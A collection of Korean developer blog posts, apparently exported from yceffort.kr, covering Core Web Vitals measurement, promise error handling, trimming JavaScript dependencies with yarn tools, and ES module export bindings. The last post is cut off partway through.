전체적인 그림을 그려보기 위해서는 더 많은 정보가 필요하다. 브라우저에서 실제로 사용할 수 있는 메모리는 어느정도일까? 메모리는 비즈니스와 사용자간 지표와 어떤 관계가 있을까? 자바스크립트와 DOM의 복잡성과는 관계가 없는 메모리 사용량은?

실제 사용자 데이터를 모니터링하여 사이트에 이 데이터를 가져오는 것에는 어려움이 있지만, 여기에서 사용한 방식 (flag등)을 활용하여 메모리 관련 테스트 결과를 가져올 수도 있다. 이러한 작업을 통해 더 많은 정보를 파해쳐보자.

- https://blog.webpagetest.org/posts/benchmarking-javascript-memory-usage/
- https://web.dev/monitor-total-page-memory-usage/

---

Source: https://yceffort.kr/2021/08/core-web-vital.md
Title: 웹사이트의 성능지표, Core Web Vital
Description: 조만간 웹사이트 하나씩 분석해 보겠습니다
Date: 2021-08-06
Tags: web-performance

사용자 경험의 질을 향상시키는 것은 모든 사이트가 장기적으로 성공하는데 위한 중요한 열쇠다. 비즈니스 오너, 마케터, 개발자건 상관없이, Web Vital (이하 웹 바이탈)은 사이트의 경험을 정량화 하고, 개선할 수 있는 기회를 찾아볼 수 있도록 지원해준다.

## 개요

웹 바이탈은 웹에서 훌륭한 사용자 경험을 전달하는데 필수적인 '품질'에 대한 통일된 지침을 제공하기 위한 일종의 구글의 이니셔티브다.

구글은 지난 수년동안 성능으르 측정하고 보고할 수 있는 많은 도구를 제공해왔다. 일부 개발자는 이런 툴을 사용하는데 익숙한 방면, 또 다른 개발자들은 이런 도구와 지표가 다양해짐에 따라 점차 대응하기 어려워 한다는 것을 알게 되었다.

사이트 소유자는, 사용자에게 제공되는 경험의 품질을 이해하기 위해 꼭 성능 전문가가 될 필요는 없다. 웹 바이탈은 환경을 단순화하고, 사이트에서 가장 중요한 지표인 코어 웹 바이탈에 집중할 수 있도록 도와주는 것을 목표로 한다.

## Core web vital

Core web vital (이하 코어 웹 바이탈)은 모든 웹페이지에 적용되는 웹 바이탈의 하위 집합으로, 모든 사이트 소유자가 측정해야 하며, 또한 모든 구글 도구에 걸쳐서 노출된다. 각 코어 웹 바이탈은 사용자 경험의 고유한 측면을 나타내고, 즉시 측정가능하며, 사용자 중심 결과의 실제 경험을 반영한다.

이 코어 웹 바이탈 지표는 계속해서 진화해 왔다. 2020년 현재는 크게 세가지 사용자 경험 측면에 집중한다.

- 로딩
- 상호작용
- 시각적 안정화

그리고 이 세가지는 아래의 지표에 기반한다.

![LCP](https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/ZZU8Z7TMKXmzZT2mCjJU.svg)

![FID](https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/iHYrrXKe4QRcb2uu8eV8.svg)

![CLS](https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/dgpDFckbHwwOKdIGDa3N.svg)

- [Largest Contentful Paint (LCP)](https://web.dev/lcp/): 로딩의 성능을 측정한다. 사용자에게 좋은 경험을 제공하기 위해서는, 적어도 2.5초 이내로 첫페이지 로딩이 이루어져야 한다.
- [First Input Delay (FID)](https://web.dev/fid/): 상호작용성을 측정한다. 좋은 사용자 환경을 제공하기 위해서는, 페이지의 FID가 100ms 미만이어야 한다.
- [Cumulative Layout Shift(CLS)](https://web.dev/cls/): 시각적 안정성을 측정한다. 좋은 사용자 환경을 제공하기 위해서는, 페이지가 0.1초 이하의 CLS를 유지해야 한다.

각 지표에 대해 대부분의 사용자에게 권장되는 목표치를 달성하기 위해서는, 모바일 및 데스크톱 장치에 걸쳐 여러번 반복된 페이지 로딩의 상위 75% 이내의 값을 측정해보는 것이 좋다. 코어 웹 바이탈을 평가하는 도구에서는, 위 3가지 지표에 대해 75%이상을 충족하도록 권장하고 있다.

> 이런 추천이 어떻게 결정되었는지 이해하기 위해서는 https://web.dev/defining-core-web-vitals-thresholds/ 를 참고해보자.

### 코어 웹 바이탈을 평가하고 보고하는 도구

구글은 코어 웹 바이탈이 모든 웹 환경에서 중요한 것이라고 믿는다. 따라서, [다양한 도구](https://web.dev/vitals-tools/) 에서 이러한 것들을 측정할 수 있도록 도와주고 있다.

#### 코어 웹 바이탈을 측정하기 위한 도구

[Chrome User Experience Report](https://developers.google.com/web/tools/chrome-user-experience-report)는 각 코어 웹 바이탈에 대한 익명화된 실제 사용자 측정 데이터를 수집한다. 이 데이터를 바탕으로, 사이트 소유자는 페이지에서 수동으로 분석할 필요 없이 성능을 신속하게 평가 할 수 있으며, PageSpeed Insights나 Search Console의 Core Web Vitals 보고서와 같은 도구도 마찬가지로 사용할 수 있다.

|                                                                                                        | LCP | FID | CLS |
| :----------------------------------------------------------------------------------------------------: | :-: | :-: | :-: |
| [Chrome User Experience Report](https://developers.google.com/web/tools/chrome-user-experience-report) |  ✔  |  ✔  |  ✔  |
|             [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/)              |  ✔  |  ✔  |  ✔  |
|    [Search Console (Core Web Vitals Report)](https://support.google.com/webmasters/answer/9205520)     |  ✔  |  ✔  |  ✔  |

![page-speed-insight](./images/yceffort-page-speed-insight.png)

![search-console](./images/yceffort-search-console.png)

Chrome User Experience Report에서 제공하는 데이터는, 사이트의 성능을 신속하게 평가할 수 있는 도구를 제공하지만, 상세 페이지 별 분석, 회귀 분석, 모니터링 등의 기능은 제공하지 않는다. 따라서 사이트 자체적인 실제 사용자 모니터링을 설정하는 것이 좋다.

#### 자바스크립트로 코어 웹 바이탈 측정하기

코어 웹 바이탈은 standard web api를 활용하여 자바스크립트 내에서 측정할 수 있다.

가장 쉽게 측정할 수 있는 방법은 [web-vital](https://github.com/GoogleChrome/web-vitals) 도구를 활용하는 것이다. 이 자바스크립트 라이브러리는, 위에 나열된 모든 구글 도구에서 보고하는 방법과 정확하게 일치하도록 각 지표를 측정하는 기본적인 웹 api를 사용할 수 있도록 제공한다.

이 라이브러리를 사용하면 각 지표를 측정하는 것이 단일 함수를 호출하는 것 만큼 간단하다.

```javascript
import {getCLS, getFID, getLCP} from 'web-vitals'

function sendToAnalytics(metric) {
  const body = JSON.stringify(metric)
  // Use `navigator.sendBeacon()` if available, falling back to `fetch()`.
  ;(navigator.sendBeacon && navigator.sendBeacon('/analytics', body)) ||
    fetch('/analytics', {body, method: 'POST', keepalive: true})
}

getCLS(sendToAnalytics)
getFID(sendToAnalytics)
getLCP(sendToAnalytics)
```

이 라이브러리를 사용하여 코어 웹 바이탈 데이터를 측정하고, 분석 엔드 포인트로 보내도록 사이트를 구성한 다음, 해당 데이터를 집계하고 보고하여 페이지가 적절한 지표를 달성하고 있는지 확인하면 된다.

또, [Web Vitals Chrome Extension](https://github.com/GoogleChrome/web-vitals-extension)을 활용하여 코드를 굳이 작성하지 않더라도 각 핵심 코어 바이탈에 대해 보고하도록 할 수 있다. 이 익스텐션은 라이브러리를 활용하여 지표를 측정하고, 사용자가 웹을 탐색할 때 사용자에게 표시한다.

이 익스텐션은, 자체 사이트 및 경쟁 업체 사이트의 웹 성능을 파악하는데 도움을 줄 수 있다.

|                                                                              | LCP | FID | CLS |
| :--------------------------------------------------------------------------: | :-: | :-: | :-: |
|           [web-vitals](https://github.com/GoogleChrome/web-vitals)           |  ✔  |  ✔  |  ✔  |
| [web vitals Extension](https://github.com/GoogleChrome/web-vitals-extension) |  ✔  |  ✔  |  ✔  |

![web-vitals-extension](./images/yceffort-web-vitals-extension.png)

또는 기본 웹 api를 활용하여 직접 지표를 측정할 수 있다.

`LCP`

```javascript
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    console.log('LCP candidate:', entry.startTime, entry)
  }
}).observe({type: 'largest-contentful-paint', buffered: true})
```

`FID`

```javascript
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    const delay = entry.processingStart - entry.startTime
    console.log('FID candidate:', delay, entry)
  }
}).observe({type: 'first-input', buffered: true})
```

`CLS`

```javascript
let clsValue = 0
let clsEntries = []

let sessionValue = 0
let sessionEntries = []

new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    // Only count layout shifts without recent user input.
    if (!entry.hadRecentInput) {
      const firstSessionEntry = sessionEntries[0]
      const lastSessionEntry = sessionEntries[sessionEntries.length - 1]

      // If the entry occurred less than 1 second after the previous entry and
      // less than 5 seconds after the first entry in the session, include the
      // entry in the current session. Otherwise, start a new session.
      if (
        sessionValue &&
        entry.startTime - lastSessionEntry.startTime < 1000 &&
        entry.startTime - firstSessionEntry.startTime < 5000
      ) {
        sessionValue += entry.value
        sessionEntries.push(entry)
      } else {
        sessionValue = entry.value
        sessionEntries = [entry]
      }

      // If the current session value is larger than the current CLS value,
      // update CLS and the entries contributing to it.
      if (sessionValue > clsValue) {
        clsValue = sessionValue
        clsEntries = sessionEntries

        // Log the updated value (and its entries) to the console.
        console.log('CLS:', clsValue, clsEntries)
      }
    }
  }
}).observe({type: 'layout-shift', buffered: true})
```

#### 코어 웹 바이탈을 측정할 수 있는 개발단계의 도구들

모든 코어 웹 바이탈은 실제 배포가 되어 측정되는 현장 기준이지만, 이 중에는 개발단계에서 측정할 수 있는 방법이 있다. 이 방법을 활용한다면, 개발중에 기능의 성능을 미리 테스트할 수 있다. 또한 성능저하가 발생하기 전에 미리 파악할 수 있도록 도와준다.

|                                                                            | LCP |                FID                 | CLS |
| :------------------------------------------------------------------------: | :-: | :--------------------------------: | :-: |
| [Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools) |  ✔  | ✘ [TBT](https://web.dev/tbt/) 활용 |  ✔  |
|      [Lighthouse](https://developers.google.com/web/tools/lighthouse)      |  ✔  | ✘ [TBT](https://web.dev/tbt/) 활용 |  ✔  |

이러한 도구는 훌륭하지만, 실제 성능 측정을 대체할 수 있는 것은 아니다.

사이트의 성능은 사용자 디바이스의 기능, 네트워크 상태, 디바이스에서 실행 중인 다른 프로세스, 페이지와 상호작용하는 방식에 따라 크게 달라질 수 있다. 실제로 이 코어 웹 바이탈 지표는 사용자의 인터랙션에 따라서 점수가 달라질 수가 있다.

### 점수를 높이기 위한 좋은 방법

지표를 측정했다면, 이제 다음은 이 성능을 최적화 하는 것이다. 아래의 방법을 활용하면 각 지표의 성능을 향상 시킬 수 있다.

- LCP: https://web.dev/optimize-lcp/
- FID: https://web.dev/optimize-fid/
- CLS: https://web.dev/optimize-cls/

## 다른 웹 바이탈

코어 웹 바이탈은 좋은 사용자 환경을 이해하고, 제공하기 위한 중요한 지표이지만 이외에도 다른 중요한 지표도 있다.

- Time to First Byte (TTFB): https://web.dev/time-to-first-byte/
- First Contentful Paint (FCP): https://web.dev/fcp/
- Total Blocking Time (TBT) https://web.dev/tbt/
- Time to Interactive (TTI): https://web.dev/tti/

---

Source: https://yceffort.kr/2021/07/promise-then-f-f-vs-promise-catch.md
Title: promise.then(f, f) vs promise.then(f).catch(f) 는 무엇이 다를까?
Description: 덥다 더워
Date: 2021-07-30
Tags: javascript

자바스크립트에서는, promise의 성공과 실패에 따른 콜백을 두가지 방법으로 처리할 수 있다.

```javascript
promise.then(oSuccess, onFailure)
```

```javascript
promise.then(onSuccess).catch(onFailure)
```

이 두 가지는 무엇이 다른걸까?

일단, 각각 성공과 실패에 따른 콜백을 아래와 같이 선언한다고 가정해보자.

```javascript
function onSuccess(value) {
  console.log('Promise has been resolved with value:', value)
}

function onFailure(error) {
  console.log('Promise has been rejected with error:', error)
}
```

먼저, `resolve`의 경우를 살펴보자.

```javascript
Promise.resolve('Hi').then(onSuccess, onFailure) // Promise has been resolved with value: Hi

Promise.resolve('Hi').then(onSuccess).catch(onFailure) // Promise has been resolved with value: Hi
```

특별한 것 없이 둘다 동일한 결과를 보인다.

이번엔 둘다 실패했을 때를 가졍해보자.

```javascript
Promise.reject('Sorry').then(onSuccess, onFailure) // Promise has been rejected with error: Sorry

Promise.reject('Sorry').then(onSuccess).catch(onFailure) // Promise has been rejected with error: Sorry
```

이번에도 동일하다.

이 둘의 차이는, 바로 `resolve`에서 `rejected`가 발생할 때 알 수 있다.

```javascript
function onSuccessButRejected(value) {
  console.log('Promise has been resolved with value:', value)
  return Promise.reject('Oops, Sorry')
}

Promise.resolve('Hi').then(onSuccessButRejected, onFailure)
// Promise has been resolved with value: Hi
// Promise {<rejected>:"Oops, Sorry"}
// Uncaught (in promise) Oops, Sorry

Promise.resolve('Hi').then(onSuccessButRejected).catch(onFailure)
// Promise has been resolved with value: Hi
// Promise has been rejected with error: Oops, Sorry
// Promise {<fulfilled>:undefined}
```

`catch`는, `then` 내부에서도 `reject`가 발생했을 때에도 호출된다.

흐음... 🤔 ...

그렇다면 이건 어떨까?

```javascript
Promise.resolve('Hi').then(onSuccessButRejected).then(null, onFailure)
// Promise has been resolved with value: Hi
// Promise has been rejected with error: Oops, Sorry
```

```javascript
Promise.resolve('Hi').then(onSuccessButRejected).catch(onFailure)
```

와 동일하게 동작하는 것을 알 수 있다. 그렇다면, 둘 중에 무엇을 쓰는게 맞을까?

일반적인, `if/else`구문과, `try/catch`구문을 상상해보자. `if/else`는 내가 예측할 수 있는 경우를 `else`로 처리한다. 반면, `try/catch`는 내가 예측할 수 있는 경우를 포함하여 모든 경우의 수가 `catch`로 처리된다. 따라서, 내가 잠재적으로 처리하고 싶은 명확한 failure가 있다면, `promise.then(oSuccess, onFailure)`를 쓰는 것이 부수효과(side effect)를 방지하는데 있어 도움이 된다. 반면 `promise.catch(onFailure)`는 내가 예측하지 못한 경우를 포함한 모든 에러 - 지정된 작업이 성공처리가 되지 않거나, 비동기 흐름으로 인해 발생하는 오류 - 를 처리할 때 사용하는 것이 좋을 것 같다.

예를 들어, axios를 사용하는 시나리오를 가정해보자.

```javascript
axios
  .get('/api/user/123')
  .then(
    (value) => {
      // 성공
      console.log('user info', JSON.parse(value))
    },
    (error) => {
      // http 에러 (40x, 50x...)
      console.log('http error', error.response.status)
    },
  )
  .catch((error) => {
    // 예측하지 못한 에러
    console.log('Unexpected Error!', error)
  })
```

첫번째 `then`문에서 `resolve`로 정상적으로 응답이 왔을 때 (2xx, 3xx) 처리를 하고 있고, `reject`로 http request에러 (4xx, 5xx)처리를 하고 있다. 그리고 마지막 `catch`문에서는 예측하지 못한 에러를 핸들링하고 있는데, 이 경우는 `JSON.parse`에 실패하는 경우 등의 시나리오에서 호출 될 것이다.

---

Source: https://yceffort.kr/2021/07/javascript-dependency-manager-dont-mange-dependencies.md
Title: 자바스크립트 의존성 관리자(npm, yarn, pnpm)에서 보다 더 의존성 관리 잘하는 방법
Description: 일단 제목으로 어그로를 끈다.
Date: 2021-07-28
Tags: javascript, dependency-management

## Table of Contents

## 시작하며

npm, yarn, pnpm 등은 자바스크립트 생태계가 성장하는데 지대한 공헌을 했다. 자바스크립트 영역에서 새로운 솔루션을 끊임없이 쉽게 찾고 이용할 수 있도록 도와주고 있다. 그러나 사용 편의성이라던가, 패키지의 모듈화가 심해진다는 단점 또한 존재한다. 사실, 앞서 소개한 자바스크립트 패키지 관리자들은 실제로 의존성을 제대로 관리하고 있지 못한다.

이 글에서는 결국 의존성 관리자(이하 패키지 관리자라고 칭하겠다)의 근본적인 문제를 해결하고자 하는 것은 아니다. 대신, 하드드라이브의 블랙홀을 막고, 종속성을 제대로 관리할 수 있는 가이드를 제공하고자 한다.

`node_modules`은 패키지가 설치될 수록 커지고 느려지게 된다. 또한 일부 라이브러리에서 패키지 의존성이 심해지면, 이를 사용하는 전세계 모든 사용자들의 작업이 느려지는 결과를 초래한다. 이를 막기 위해 아래 방법을 적용하면 종속성 크기를 점차 줄여나가고, 안정적으로 유지할 수 있다.

## 의존성 제어를 되찾기 위한 방법

이 가이드에서는 주로 `yarn1`에 초점을 맞추고 있지만, 대부분의 많은 권장사항 등이 다른 패키지 관리자에도 적용된다. 한가지 유의할 점은 일부 패키지 관리자의 경우 의존성을 직접 설치하지 않기 위해, 심링크, 하드링크 등의 까다롭고 불투명한 방법을 사용한다는 것이다.

### 1. 의존성 분석

먼저, `node_modules`에 도대체 무슨 패키지들이 설치되어 있는지 이해하는 작업이 필요하다. 여기에서는 다양한 방법을 활용하여 분석해보려고 한다.

- [Disk Inventory X](http://www.derlien.com/)와 `du -sh ./node_modules/* | sort -nr | grep '\dM.*'`를 사용하는 것이다. 이 방법을 사용하면, 현재 `node_modules`의 각 패키지의 크기를 확인해볼 수 있다.

다음은 내 블로그를 위 방법으로 살펴본 결과다.

![disk-inventory-x](./images/disk-inventory-x.png)

```bash
 58M    ./node_modules/typescript
 38M    ./node_modules/@babel
 34M    ./node_modules/tailwindcss
 30M    ./node_modules/next
 22M    ./node_modules/date-fns
 19M    ./node_modules/prettier
 17M    ./node_modules/rxjs
 15M    ./node_modules/@firebase
 11M    ./node_modules/@types
8.1M    ./node_modules/esbuild
7.8M    ./node_modules/@typescript-eslint
7.3M    ./node_modules/protobufjs
7.2M    ./node_modules/core-js-pure
6.4M    ./node_modules/webpack
6.4M    ./node_modules/@google-cloud
6.3M    ./node_modules/google-gax
5.2M    ./node_modules/eslint
4.9M    ./node_modules/lodash
4.6M    ./node_modules/katex
4.5M    ./node_modules/rollup
4.3M    ./node_modules/jsdom
4.1M    ./node_modules/es-abstract
3.6M    ./node_modules/es5-ext
3.2M    ./node_modules/prismjs
3.2M    ./node_modules/caniuse-lite
2.9M    ./node_modules/react-dom
2.6M    ./node_modules/table
2.3M    ./node_modules/@grpc
2.2M    ./node_modules/terser
2.1M    ./node_modules/terser-webpack-plugin
2.0M    ./node_modules/firebase-admin
1.9M    ./node_modules/axe-core
1.8M    ./node_modules/regenerate-unicode-properties
1.8M    ./node_modules/node-forge
1.8M    ./node_modules/@tailwindcss
1.5M    ./node_modules/language-subtag-registry
1.4M    ./node_modules/refractor
1.4M    ./node_modules/eslint-plugin-import
1.3M    ./node_modules/espree
1.3M    ./node_modules/eslint-plugin-react
1.3M    ./node_modules/eslint-plugin-jsx-a11y
1.3M    ./node_modules/acorn-node
1.2M    ./node_modules/node-libs-browser
1.2M    ./node_modules/acorn-globals
1.2M    ./node_modules/@hapi
1.1M    ./node_modules/rollup-plugin-terser
1.1M    ./node_modules/postcss
1.1M    ./node_modules/jest-worker
1.1M    ./node_modules/csstype
1.1M    ./node_modules/ajv
```

- `yarn why <packagename>`: 이 명령어를 사용하면, 해당 패키지가 왜 의존성 트리에 포함되어 있는지 알 수 있다. `npm ls <packagename>` 도 동일하다. 이를 사용하면 버전별로 어떤 패키지가 어떤 의존성으로 설치되어 있는지 알려준다.
- [Packagephobia](https://packagephobia.com/): 패키지가 대략 디스크에서 얼마나 차지하고 있는지 알 수 있다.

![packagephobia-eslint-config-yceffort](./images/packagephobia-eslint-config-yceffort.png)

> 이 패키지가 50메가가 넘다니,, 말세다

https://packagephobia.com/result?p=eslint-config-yceffort

- [Bundlephobia](https://bundlephobia.com/): 앱을 번들링 했을 때 패키지가 얼마나 커지는 지 확인할 수 있다.

![bundlephobia-react](./images/bundlephobia-react.png)

https://bundlephobia.com/package/react@17.0.2

### 2. 미사용 의존성 제거

어떻게 보면 정말 당연한 내용이지만, 많은 프로젝트에서 이러한 죽은 패키지들을 볼 수 있다. 제거하는 것보다는 설치하는게 쉽기 때문이다. 여러 의존성이 존재하고 있을 수도 있고, 사용하지 않는 종속성을 계속 업그레이드 하고 있을 수도 있다. 따라서 패키지에 나열 되어 있는 모든 기본 종속성을 살펴보는 것이 중요하다. 추천해주고 싶은 방법은, `package.json`을 보고, 모든 패키지를 하나씩 살펴본다음 사용하지 않는 것을 제거하는 것이다. 이는 보통 수동으로 하는 것이 좋다. 예를 들어, moment.js를 날리고 이제 date-fns를 사용한다고 가정하자. `moment`가 설치되어 있는지 확인하기 위해서는, 텍스트 에디터의 검색 기능을 사용하거나, [rg](https://github.com/BurntSushi/ripgrep) 패키지를 사용하여 아래 명령어를 날려보자.

```bash
rg '(require\(|from\s+)(?:"|\')moment'
```

그 다음엔 `moment`를 검색해서 현재 사용되고 있는 부분이 있는지 한번더 확인해본다. babel, eslint 또는 jest와 같은 도구의 일부 설정 파일이 해당 모듈을 사용하고 있을 수도 있다.

혹은 [eslint의 룰](https://eslint.org/docs/rules/no-restricted-imports)를 사용해서 패키지 import 시에 경고문을 날려버릴 수도 있다.

```javascript
"no-restricted-imports": [
    "error",
    {
        name: "moment",
        message:
            "moment has been deprecated. use date-fns instead.",
    },
],
```

아무튼, 이제 사용되지 않는 것이 확인되면 `package.json`에서 확실하게 제거하자. 위와 같은 방법을 `dependencies`, `devDependencies`에 반복해서 작업해주자. 또는 [depcheck](https://github.com/depcheck/depcheck)와 같은 도구를 사용해 볼 수도 있다.

### 3. 의존성을 최신화

혹시 '업그레이드 절벽'을 경험해본적이 있는가? 의존성 버전이 너무 뒤쳐져 업그레이드나 마이그레이션에 상당한 노력이 필요하고, 전체 개발 작업속도가 뒤쳐질 수가 있다. (나는 최근에는 husky를 쓰면서 느꼈다) 업그레이드는 조직 전체에 걸쳐 모든 사람의 지속적인 책임으로 하는 것이, 한사람에게 모두 맡겨버리는 것보다는 낫다. 모두가 같이 조금씩 움직여야, 변화를 깨는 것을 덜 주저하게 될 것이다. 한사람이 변화를 주도하는 것은 (리더가 아니라면 더더욱) 너무 힘들다.

모든 의존성을 최신으로 유지하면, 레거시 패키지에서 벗어나고 이후 작업을 더 수월하게 진행할 수 있다. `yarn outdated`나 `yarn upgrade-interactive`를 사용하여 의존성을 확인하면서 최신버전으로 업그레이드할 수 있다. 물론, 이 작업에는 변경사항을 확인하고, 버그 문제를 해결하는 작업이 필요하다. 이를 위해서는 신뢰도를 높일 수 있는 자동화된 테스트가 많을 수록 좋다. 변경사항을 제대로 파악하지 못하고 최신버전을 사용하기 위해 패키지 버전을 올리는 것 만큼 끔찍한 일은 없다.

### 4. 중복되는 패키지는 제거

일부 자바스크립트 패키지 관리자에서 사용되는 알고리즘이 의존성 그래프를 지속적으로 최적화 하지는 않는다. 우리는 `lock`파일이 동일 패키지의 여러버전을 `semver`가 목표로 하는 버전관리에 맞게 패키지를 설치할 책임이 있다고 가정한다. [yarn-deduplicate](https://github.com/atlassian/yarn-deduplicate) 를 사용하면 lock file을 한번더 최적화 할 수 있다. 기본적으로 패키지를 설치하고, 업데이트하거나, 제거할 때마다 `npx yarn-deduplicate yarn.lock`를 하는 것을 추천한다. 또는 CI 과정에 `yarn-deduplicate yarn.lock --list --fail`를 추가하여 지속적으로 이를 확인해볼 수 있다.

이 문제와 관련하여 가장많은 문제를 일으키는 곳은 babel, jest와 같은 모노레포로 이루어진 라이브러리다. 최악의 경우, 여러개의 babel parser, jest package 등이 존재할 수 있다. `yarn-deduplicate`를 사용하면 이러한 문제를 어느 정도 해결할 수는 있지만, 모든 패키지를 업데이트 할 수 있는 확실한 방법은 없다. 이를 해결하기 위해 시도해본 방법은

- 모노레포의 모든 `package.json`를 확인하여 최신버전으로 설치하는 방법
- `yarn upgrade` `yarn upgrade-interactive`
- [yarn resolution](https://classic.yarnpkg.com/en/docs/selective-version-resolutions/)을 활용하여 시멘틱 버전 제한을 덮어쓰고, 모든 패키지를 최신으로 관리

등이 있었다. 하지만 이들 중 어떤 것도 잘 해결하지 못했고 이따금 상황을 악화시키기도 했다. 프로젝트에 단일 babel 버전의 패키지를 설치할 수 있는 확실한 방법은, 수동으로 `yarn.lock`에서 모두 제거한 다음, 다시 처음부터 `@babel/`을 설치하여 의존성 그래프를 다시 그리게 하는 방법이다.

또다른 방법으로는, 패키지의 semver 범위를 직접 탐색하여 해당 패키지에 pull requests를 보내서 의존성을 업그레이드하거나버전을 변경하여 semver버전을 조정하는 것이다.

### 5. 단일 패키지를 명확한 목적에 따라 정리할 것

대규모 프로젝트에서는 동일한 용도의 여러 패키지가 사용될 수 있으며, 동일한 패키지의 여러 major 버전이 설치되어 있을 수도 있다. 규모가 큰 팀에서는, 누군가가 큰 의존성을 들고와서 고작 딱 한번 사용하고는, 번들 크기를 크게 부풀릴 수도 있다. 또는 비슷한 목적의 비슷한 크기의 작은 패키지를 여기저기서 사용하고 있을 수도 있다. 이를 해결하기 위해서는 엄격한 스타일 가이드, 문서화, 코드 리뷰등을 통해 이 문제를 방지할 수 있다. 그러나 최상으로 환경을 준비한다 한들 직접 의존성을 통해 포함된 유사한 기능의 패키지가 존재할 수 있다. 예를 들어, 두개의 패키지에 명령줄 옵션을 해석하는 동일한 기능이지만 다른 패키지가 설치되어 있을 수 있다. 따라서 어떤 패키지가 `node_modules`에 있는지를 분석하고, 각 목적에 따라 하나의 패키지로 정리하는 것이 좋다.

### 6. 필요에 따라 패키지를 포크하여 커스텀

어떤 경우에는 패키지가 너무 유지보수가 안되고 있거나, 너무 급격하게 발전하고 있을 수 있다. 내가 사용하고 있는 오픈소스의 패키지 릴리즈를 기다리기 위해 내 제품을 연기하는 것은 결코 바람직하지 못하다. 이를 해결하기 위한 좋은 방법은 적극적으로 패키지를 포크하여 사용하는 것이다. 포크가 오래 지속될 필요는 없다. 예를 들어, 어떤 작업에 대한 수정을 앞당기기 위해 포크를 하고, 이를 나중에 제거할 수 있다. 이렇게 하면 유지 보수 부담이 생길 수 는 있지만, 프로젝트에서 실행중인 코드의 제어권을 넘겨받을 수 있다.

[Yarn resolution](https://classic.yarnpkg.com/en/docs/selective-version-resolutions/)을 사용하여 기존 패키지를 포크 버전으로 교체할 수 있다.

```javascript
"resolutions": {
  "bloated-package": "npm:@yceffort/not-bloated-package",
  "unmaintained-package": "npm:@yceffort/well-maintained-package"
}
```

포크된 버전은 오래 살려두지 말고, 직접 PR을 날려주는 것이 좋다.

### 7. 의존성의 숫자와 크기를 계속 추적

의존성 크기와 숫자를 한번에 줄이면 좋겠지만, 그것보다는 지속적으로 관리하는 것이 좋다. 개인적으로는, CI 단계에서 `package.json`이나 `yarn.lock`의 변화가 있을 때마다 `node_modules`를 `du -sh node_modules`로 자동으로 확인하는 것이 좋다. PR단계에서 CI를 수행하고, 크기가 커졌다면, 한번쯤 눈길이 갈 것이다.

자동화를 통해 계속해서 확인할 수 있지만, 중요한 것은 동일한 코드베이스로 작업하는 다른 모든 사람들에게 대화하고 책임감을 공유하는 것이 최상의 결과를 가져오는데 도움이 된다. 의존성이 커지면 모든 사람의 작업속도가 느려지거나, 이미 사용하고 있는 유사한 패키지가 설치 될 수 있다는 것을 알리자. 대부분의 경우에는 많은 사람들이 감사하게 생각할 것이다.

예를 들어, 누군가가 `node_modules`의 크기를 두배로 늘리는 패키지를 추가했다고 가정해보자. 간단하게 왜 이것이 옳지 않은지, 이상적이지 않은지를 설명하고 문제를 해결할 다른 두세가지 방법을 제시하기만 하면 또다시 PR을 만들 필요가 없이 해결할 수 있다. 누군가 100줄의 코드를 추가하면, 우리는 코드리뷰를 통해 꼼꼼하게 확인한다. 그러나 패키지에 한줄을 추가하는 것은 최악의 경우 엄청난 크기의 코드를 프로젝트로 가져오고 번들링을 부풀리는데, PR에서는 이게 어떤 영향을 미치는지 알 수 없기 때문에 순식간에 적용되어 버릴 수 있다. 써드파티 종속성에 대한 문제를 버전 컨트롤에서 지속적으로 확인하면 이런 문제를 사전에 방지할 수 있다.

### 다른 방법

yarn에는 [autoclean](https://classic.yarnpkg.com/en/docs/cli/autoclean/) 명령어가 있는데, 이를 통해 제외목록과 일치하는 파일을 자동으로 제거할 수 있다. 이를 통해 프로젝트와 관계없는 예제, 테스트, 마크다운 파일 등을 제거할 수 있다. `yarn autoclean --init`을 실행하고, `.yarnclean`파일을 확인하여 결과를 살펴볼 수 있다. 그러나 이 명령어는 설치하는 동안이 아니라 이미 의존성이 설치된 이후에 실행된다. 이는 yarn의 호출이 몇초 정도 느려질 수 있다는 것을 의미한다. 좋은 기능이지만, 버전 컨트롤에서 `node_modules`를 확인하는 프로젝트에만 사용하는 것이 좋다.

---

Source: https://yceffort.kr/2021/07/deep-dive-to-export.md
Title: Export에 숨겨져 있는 심오함
Description: 자바스크립트는 멋져 짜릿해 늘 새로워
Date: 2021-07-22
Tags: javascript

자, 흔히 쓰는 import 가 있다.

`module.js`

```javascript
export let data = 5
```

`index.js`

```javascript
import {data} from './module'
```

그런데 만약에 이렇게 import를 해보면 어떨까?

```javascript
const module = await import('./module.js')
const {data: value} = await import('./module.js')
```

첫번째 import 에서 `module.data`를 하는 것은 맨 처음에 import 했던 결과와 완전히 동일 할 것이다. 두번째는, `data`를 `value`라는 새로운 identifier로 할당하고 있다. 그리고 이 동작은 앞선 두 케이스와 묘하게 다르다.

만약에 export 하는 쪽에서 값의 변경이 있다고 가정해보자.

```javascript
export let data = 5

setTimeout(() => {
  data = 10
}, 500)
```

```javascript
import {data} from './module.js'
const module = await import('./module.js')
const {data: value} = await import('./module.js')

setTimeout(() => {
  console.log(data) // 10
  console.log(module.data) // 10
  console.log(value) // 5
}, 1000)
```

또다른 변수로 아예 할당을 해버렸던 3번째 케이스를 제외하고 나머지 모든 값들은 변했다는 것을 알 수 있다. 그렇다. `import`는 일종의 참조 처럼 동작을 한다는 것을 알 수 있다. 사실 이러한 3번째 케이스의 동작은 아래처럼 생각하면 당연하다고 느껴 질 수 있다.

```javascript
const obj = {foo: 'bar'}
const {foo} = obj
obj.foo = 'baz'
console.log(foo) // 'bar'
```

내 개인적으로 봤을 때는 위 케이스, 즉 3번째 케이스가 제일 자연스러워 보인다. 🤔 여전히 자바스크립트는 신비로운 언어다. 근데 잠깐, `import { data }`도 어떻게 보면 분해할당이 아닌가? 근데 이 것은 놀랍게도 분해 할당처럼 동작하지 않는 다는 것을 알 수 있다.

자 정리해보자.

```javascript
// 특정 값을 참조하는 것 처럼 동작하여, 값이 바뀌면 서순에 따라서 그 바뀐 값을 들고 올 수도 있다.
import {data} from './module.js'
import {data as value} from './module.js'
import * as all from './module.js'
const module = await import('./module.js')
